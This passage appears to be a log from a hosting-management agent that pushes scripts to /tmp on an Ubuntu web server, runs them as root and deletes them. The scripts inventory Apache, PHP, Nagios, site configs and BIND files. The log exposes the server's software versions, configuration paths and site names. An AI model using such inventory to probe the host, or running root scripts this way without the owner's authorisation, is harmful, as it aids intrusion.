elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-31 19:40:58:
chmod 755 /tmp/pkp540427; /tmp/pkp540427; rm /tmp/pkp540427
2025-12-31 19:40:58:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 437995
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 437995 0.0 0.2 256144 35228 ? Ss Dec19 0:34 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-12-31 19:40:58:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'rog',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swap.img',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'proxy_wstunnel_module',
29 => 'reqtimeout_module',
30 => 'rewrite_module',
31 => 'setenvif_module',
32 => 'socache_shmcb_module',
33 => 'ssl_module',
34 => 'status_module',
35 => 'xml2enc_module',
),
),
)
2025-12-31 19:40:58:
PUT: /tmp/pkp692658
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 19:40:59:
chmod 755 /tmp/pkp692658; /tmp/pkp692658; rm /tmp/pkp692658
2025-12-31 19:40:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-12-31 19:40:59:
PUT: /tmp/pkp179288
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-31 19:40:59:
chmod 755 /tmp/pkp179288; /tmp/pkp179288; rm /tmp/pkp179288
2025-12-31 19:41:00:
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
2025-12-31 19:41:00:
PUT: /tmp/pkp159925
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 19:41:01:
chmod 755 /tmp/pkp159925; /tmp/pkp159925; rm /tmp/pkp159925
2025-12-31 19:41:01:
(gzipped output)
bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57
2025-12-31 19:41:01:
PUT: /tmp/pkp421293
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-31 19:41:01:
chmod 755 /tmp/pkp421293; /tmp/pkp421293; rm /tmp/pkp421293
2025-12-31 19:41:02:
status=ok
2025-12-31 19:41:02:
PUT: /tmp/pkp297592
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 19:41:02:
chmod 755 /tmp/pkp297592; /tmp/pkp297592; rm /tmp/pkp297592
2025-12-31 19:41:02:
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= cf2fe72a73c3b239af4d8c6cf6e0c1a2
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 16e37f95816efad64fa47f57af88785c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 0d7ac0488abb570c4dee9f344699ee85
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= cf2fe72a73c3b239af4d8c6cf6e0c1a2
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
STDERR:
/tmp/pkp297592:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-31 19:41:16: Establishing a connection
2025-12-31 19:41:17:
PUT: /tmp/pkp222562
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:41:17:
runuser -l bind -s /bin/bash -c '/tmp/pkp222562; rm /tmp/pkp222562'
2025-12-31 19:41:17:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
